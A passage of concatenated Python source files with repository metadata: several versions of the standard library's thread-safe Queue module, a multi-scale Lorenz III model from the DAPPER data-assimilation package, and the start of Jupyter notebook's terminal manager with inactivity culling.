on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notifyAll()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if not block:
if self._full():
raise Full
elif timeout is None:
while self._full():
self.not_full.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._full():
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if self._empty():
raise Empty
elif timeout is None:
while self._empty():
self.not_empty.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._empty():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
| {
"repo_name": "ericlink/adms-server",
"path": "playframework-dist/1.1-src/python/Lib/Queue.py",
"copies": "2",
"size": "7973",
"license": "mit",
"hash": -174156535030812380,
"line_mean": 35.0837209302,
"line_max": 81,
"alpha_frac": 0.569170952,
"autogenerated": false,
"ratio": 4.706611570247934,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0008248304782211254,
"num_lines": 215
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
from collections import deque
__all__ = ['Empty', 'Full', 'Queue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
try:
import threading
except ImportError:
import dummy_threading as threading
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notifyAll()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if not block:
if self._full():
raise Full
elif timeout is None:
while self._full():
self.not_full.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._full():
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if self._empty():
raise Empty
elif timeout is None:
while self._empty():
self.not_empty.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._empty():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
| {
"repo_name": "JRock007/boxxy",
"path": "dist/Boxxy.app/Contents/Resources/lib/python2.7/pygame/threads/Py25Queue.py",
"copies": "10",
"size": "7975",
"license": "mit",
"hash": -8021034446204869000,
"line_mean": 34.9212962963,
"line_max": 81,
"alpha_frac": 0.5690282132,
"autogenerated": false,
"ratio": 4.707792207792208,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
try:
import threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "Jeff-Tian/mybnb",
"path": "Python27/Lib/Queue.py",
"copies": "7",
"size": "8821",
"license": "apache-2.0",
"hash": 100512327558125390,
"line_mean": 34.1516393443,
"line_max": 85,
"alpha_frac": 0.5723840834,
"autogenerated": false,
"ratio": 4.525910723447922,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0007739049413569884,
"num_lines": 244
} |
'''A multi-producer, multi-consumer queue.'''
try:
import threading
except ImportError:
import dummy_threading as threading
from collections import deque
from heapq import heappush, heappop
from time import monotonic as time
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
'Exception raised by Queue.get(block=0)/get_nowait().'
pass
class Full(Exception):
'Exception raised by Queue.put(block=0)/put_nowait().'
pass
class Queue:
'''Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
'''
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
'''Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
'''
with self.all_tasks_done:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
def join(self):
'''Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
'''
with self.all_tasks_done:
while self.unfinished_tasks:
self.all_tasks_done.wait()
def qsize(self):
'''Return the approximate size of the queue (not reliable!).'''
with self.mutex:
return self._qsize()
def empty(self):
'''Return True if the queue is empty, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() == 0
as a direct substitute, but be aware that either approach risks a race
condition where a queue can grow before the result of empty() or
qsize() can be used.
To create code that needs to wait for all queued tasks to be
completed, the preferred technique is to use the join() method.
'''
with self.mutex:
return not self._qsize()
def full(self):
'''Return True if the queue is full, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() >= n
as a direct substitute, but be aware that either approach risks a race
condition where a queue can shrink before the result of full() or
qsize() can be used.
'''
with self.mutex:
return 0 < self.maxsize <= self._qsize()
def put(self, item, block=True, timeout=None):
'''Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
'''
with self.not_full:
if self.maxsize > 0:
if not block:
if self._qsize() >= self.maxsize:
raise Full
elif timeout is None:
while self._qsize() >= self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while self._qsize() >= self.maxsize:
remaining = endtime - time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
def get(self, block=True, timeout=None):
'''Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
'''
with self.not_empty:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while not self._qsize():
remaining = endtime - time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
def put_nowait(self, item):
'''Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
'''
return self.put(item, block=False)
def get_nowait(self):
'''Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
'''
return self.get(block=False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
heappush(self.queue, item)
def _get(self):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "Suwmlee/XX-Net",
"path": "Python3/lib/queue.py",
"copies": "2",
"size": "9026",
"license": "bsd-2-clause",
"hash": 668093780169450600,
"line_mean": 34.6910569106,
"line_max": 85,
"alpha_frac": 0.5824285398,
"autogenerated": false,
"ratio": 4.609805924412666,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.6192234464212666,
"avg_score": null,
"num_lines": null
} |
"""A multi-scale, smooth version of the classic Lorenz-96.
This is an implementation of "Model III" of `bib.lorenz2005designing`.
Similar to `dapper.mods.LorenzUV` this model is designed
to contain two different scales. However, in "Model III"
the two scales are not kept separate, but superimposed,
and the large scale variables are (adjustably) spatially smooth.
Interestingly, the model is known as "Lorenz 04" in DART, where it was
coded by Hansen (colleague of Lorenz) in 2004 (prior to publication).
Special cases of this model are:
- Set `J=1` to get "Model II".
- Set `K=1` (and `J=1`) to get "Model I",
which is the same as the Lorenz-96 model.
An implementation using explicit for-loops can be found in commit 6193532b .
It uses numba (pip install required) for speed gain, but is still very slow.
With rk4 the largest stable time step (for free run) seems to be
somewhere around what Lorenz used, namely `dt=0.05/12`.
"""
from dataclasses import dataclass
import numpy as np
from scipy.ndimage import convolve1d
from dapper.mods.integration import rk4
__pdoc__ = {"demo": False}
@dataclass
class Model:
"""The model configuration.
Functionality that does not directly depend on the model parameters
has been left outside of this class.
Using OOP (rather than module-level encapsulation) facilitates
working with multiple parameter settings simultaneously.
"""
M : int = 960 # state vector length
J : int = 12 # decomposition kernel radius (width/2)
K : int = 32 # smoothing kernel width (increase for +smooth and -waves)
b : float = 10 # scaling of small-scale variability
c : float = 2.5 # coupling strength
Force: float = 15 # forcing
Tplot: float = 10
def __post_init__(self):
J = self.J
self.alpha = (3*J**2 + 3) / (2*J**3 + 4*J)
self.beta = (2*J**2 + 1) / (J**4 + 2*J**2)
# Heuristic
self.x0 = 2.8*np.ones(self.M)
self.x0[0] += 0.1*self.Force
def decompose(self, z):
"""Split `z` into `x` and `y` fields, where `x` is the large-scale component."""
width = 2*self.J # not +1 coz the sum in Lorenz eqn 13a is never ordinary
_, weights, inds0 = summation_kernel(width)
weights *= self.alpha - self.beta*abs(inds0)
x = convolve1d(z, weights, mode="wrap")
# Manual implementation:
# x = np.zeros_like(z)
# for m in range(M):
# for i, w in zip(inds0, weights):
# x[..., m] += w * z[..., mod(m + i)]
y = z - x
return x, y
def dxdt(self, z):
x, y = self.decompose(z)
return (
+ prodsum_self(x, self.K) # "convection" of x
+ prodsum_K1(y, y) * self.b**2 # "convection" of y
+ prodsum_K1(y, x) * self.c # coupling
+ -x - y*self.b # damping
+ self.Force
)
def step(self, x0, t, dt):
return rk4(lambda t, x: self.dxdt(x), x0, np.nan, dt)
def summation_kernel(width):
"""Prepare computation of the modified sum in `bib.lorenz2005designing`.
Note: This gets repeatedly called, but actually the input is only ever
`width = K` or `2*J`, so we should really cache or pre-compute.
But with default system parameters and N=50, the savings are negligible.
"""
r = width // 2 # "radius"
weights = np.ones(2*r + 1)
if width != len(weights):
weights[0] = weights[-1] = .5
inds0 = np.arange(-r, r+1)
return r, weights, inds0
def boxcar(x, n, method="direct"):
"""Moving average (boxcar filter) on `x` using `n` nearest (periodically) elements.
For symmetry, if `n` is pair, the actual number of elements used is `n+1`,
and the outer elements weighted by 0.5 to compensate for the `+1`.
This is the modified sum of `bib.lorenz2005designing`, used e.g. in eqn. 9.
For intuition: this type of summation (and the associated Sigma prime notation)
may also be found for the "Trapezoidal rule" and in the inverse DFT used in
spectral methods on a periodic domain.
Apart from this weighting, this constitutes merely a boxcar filter.
There are of course several well-known implementations. The computational
suggestion suggested by Lorenz below eqn 10 could maybe be implemented
(with vectorisation) using `cumsum`, but this seems tricky due to weighting
and periodicity.
[1](https://stackoverflow.com/q/14313510)
[2](https://stackoverflow.com/q/13728392)
[3](https://stackoverflow.com/a/38034801)
In testing with default system parameters, and ensemble size N=50, the
"direct" method is generally 2x faster than the "fft" method, and the "oa"
method is a little slower again. If `K` or `J` is increased, then the "fft"
method becomes the fastest.
Examples:
>>> x = np.array([0, 1, 2], dtype=float)
>>> np.allclose(boxcar(x, 1), x)
True
>>> boxcar(x, 2)
array([0.75, 1. , 1.25])
>>> boxcar(x, 3)
array([1., 1., 1.])
>>> x = np.arange(10, dtype=float)
>>> boxcar(x, 2)
array([2.5, 1. , 2. , 3. , 4. , 5. , 6. , 7. , 8. , 6.5])
>>> boxcar(x, 5)
array([4., 3., 2., 3., 4., 5., 6., 7., 6., 5.])
"""
r, weights, inds0 = summation_kernel(n)
M = x.shape[-1]
if method == "manual":
def mod(ind):
return np.mod(ind, M)
a = np.zeros_like(x)
for m in range(M):
a[..., m] = x[..., mod(m + inds0)] @ weights
# for i, w in zip(inds0, weights):
# a[..., m] += x[..., mod(m + i)] * w
elif method in ["fft", "oa"]:
# - Requires wrapping the state vector for periodicity.
# Maybe this could be avoided if we do the fft ourselves?
# - `np.convolve` does not support multi-dim arrays (for ensembles).
# - `ss.convolve` either does the computation "directly" itself,
# or delegates the job to ss.fftconvolve or ss.oaconvolve.
# Strangely, only the latter subroutines support the axis argument
# so we must call them ourselves.
if method == "fft":
from scipy.signal import fftconvolve as convolver
else:
from scipy.signal import oaconvolve as convolver
weights = weights[... if x.ndim == 1 else None] # dim compatibility
xxx = np.hstack([x[..., -r:], x, x[..., :r]]) # wrap
a = convolver(xxx, weights, axes=-1)
a = a[..., 2*r:-2*r] # Trim (rm wrapped edges)
else: # method == "direct":
# AFAICT, this uses "direct" computations.
a = convolve1d(x, weights, mode="wrap")
a /= n
return a
def shift(x, k):
"""Rolls `x` leftwards. I.e. `output[i] = input[i+k]`.
Notes about speed that usually hold when testing with ensemble DA:
- This implementation is somewhat faster than `x[..., np.mod(ii + k, M)]`.
- Computational savings of re-using already shifted vectors (or matrices)
compared to just calling this function again are negligible.
"""
return np.roll(x, -k, axis=-1)
def prodsum_self(x, k):
"""Compute `prodsum(x, x, k)` efficiently: eqn 10 of `bib.lorenz2005designing`."""
W = boxcar(x, k)
WW = shift(W, -2*k) * shift(W, -k)
WX = shift(W, -k) * shift(x, k)
WX = boxcar(WX, k)
return - WW + WX
def prodsum_K1(x, y):
"""Compute `prodsum(x, y, 1)` efficiently."""
return -shift(x, -2) * shift(y, -1) + shift(x, -1) * shift(y, +1)
| {
"repo_name": "nansencenter/DAPPER",
"path": "dapper/mods/LorenzIII/__init__.py",
"copies": "1",
"size": "7517",
"license": "mit",
"hash": 7727640981308793000,
"line_mean": 35.4902912621,
"line_max": 88,
"alpha_frac": 0.6052946654,
"autogenerated": false,
"ratio": 3.193288020390824,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.42985826857908244,
"avg_score": null,
"num_lines": null
} |
"""A MultiTerminalManager for use in the notebook webserver
- raises HTTPErrors
- creates REST API models
"""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
import warnings
from datetime import timedelta
from notebook._tz import utcnow, isoformat
from terminado import NamedTermManager
from tornado import web
from tornado.ioloop import IOLoop, PeriodicCallback
from traitlets import Integer, validate
from traitlets.config import LoggingConfigurable
from ..prometheus.metrics import TERMINAL_CURRENTLY_RUNNING_TOTAL
class TerminalManager(LoggingConfigurable, NamedTermManager):
""" """
_culler_callback = None
_initialized_culler = False
cull_inactive_timeout = Integer(0, config=True,
help="""Timeout (in seconds) in which a terminal has been inactive and ready to be culled.
Values of 0 or lower disable culling."""
)
cull_interval_default = 300 # 5 minutes
cull_interval = Integer(cull_interval_default, config=True,
help="""The interval (in seconds) on which to check for terminals exceeding the inactive timeout value."""
)
# -------------------------------------------------------------------------
# Methods for managing terminals
# -------------------------------------------------------------------------
def __init__(self, *args, **kwargs):
super(TerminalManager, self).__init__(*args, **kwargs)
def create(self):
"""Create a new terminal."""
name, term = self.new_named_terminal()
# Monkey-patch last-activity, similar to kernels. Should we need
# more functionality per terminal, we can look into possible sub-
# classing or containment then.
term.last_activity = utcnow()
model = self.get_terminal_model(name)
# Increase the metric by one because a new terminal was created
TERMINAL_CURRENTLY_RUNNING_TOTAL.inc()
# Ensure culler is initialized
self._initialize_culler()
return model
def get(self, name):
"""Get terminal 'name'."""
model = self.get_terminal_model(name)
return model
def list(self):
"""Get a list of all running terminals."""
models = [self.get_terminal_model(name) for name in self.terminals]
# Update the metric below to the length of the list 'terms'
TERMINAL_CURRENTLY_RUNNING_TOTAL.set(
len(models)
)
return models
async def terminate(self, name, force=False):
"""Terminate terminal 'name'."""
self._check_terminal(name)
await super(TerminalManager, self).terminate(name, force=force)
# Decrease the metric below by one
# because a terminal has been shutdown
TERMINAL_CURRENTLY_RUNNING_TOTAL.dec()
async def terminate_all(self):
"""Terminate all terminals."""
terms = [name for name in self.terminals]
for term in terms:
await self.terminate(term, force=True)
def get_terminal_model(self, name):
"""Return a JSON-safe dict representing a terminal.
For use in representing terminals in the JSON APIs.
"""
self._check_terminal(name)
term = self.terminals[name]
model = {
"name": name,
"last_activity": isoformat(term.last_activity),
}
return model
def _check_terminal(self, name):
"""Check a that terminal 'name' exists and raise 404 if not."""
if name not in self.terminals:
raise web.HTTPError(404, u'Terminal not found: %s' % name)
def _initialize_culler(self):
"""Start culler if 'cull_inactive_timeout' is greater than zero.
Regardless of that value, set flag that we've been here.
"""
if not self._initialized_culler and self.cull_inactive_timeout > 0:
if self._culler_callback is None:
loop = IOLoop.current()
if self.cull_interval <= 0: # handle case where user set invalid value
self.log.warning("Invalid value for 'cull_interval' detected (%s) - using default value (%s).",
self.cull_interval, self.cull_interval_default)
self.cull_interval = self.cull_interval_default
self._culler_callback = PeriodicCallback(
self._cull_terminals, 1000 * self.cull_interval)
self.log.info("Culling terminals with inactivity > %s seconds at %s second intervals ...",
self.cull_inactive_timeout, self.cull_interval)
self._culler_callback.start()
self._initialized_culler = True
async def _cull_terminals(self):
self.log.debug("Polling every %s seconds for terminals inactive for > %s seconds...",
self.cull_interval, self.cull_inactive_timeout)
# Create a separate list of terminals to avoid conflicting updates while iterating
